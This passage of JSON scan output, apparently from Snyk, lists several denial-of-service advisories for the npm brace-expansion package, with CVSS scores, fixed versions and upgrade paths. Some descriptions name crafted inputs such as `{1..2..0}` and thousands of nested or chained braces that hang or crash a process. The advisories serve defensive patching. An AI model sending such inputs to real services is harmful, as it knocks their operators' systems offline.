"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
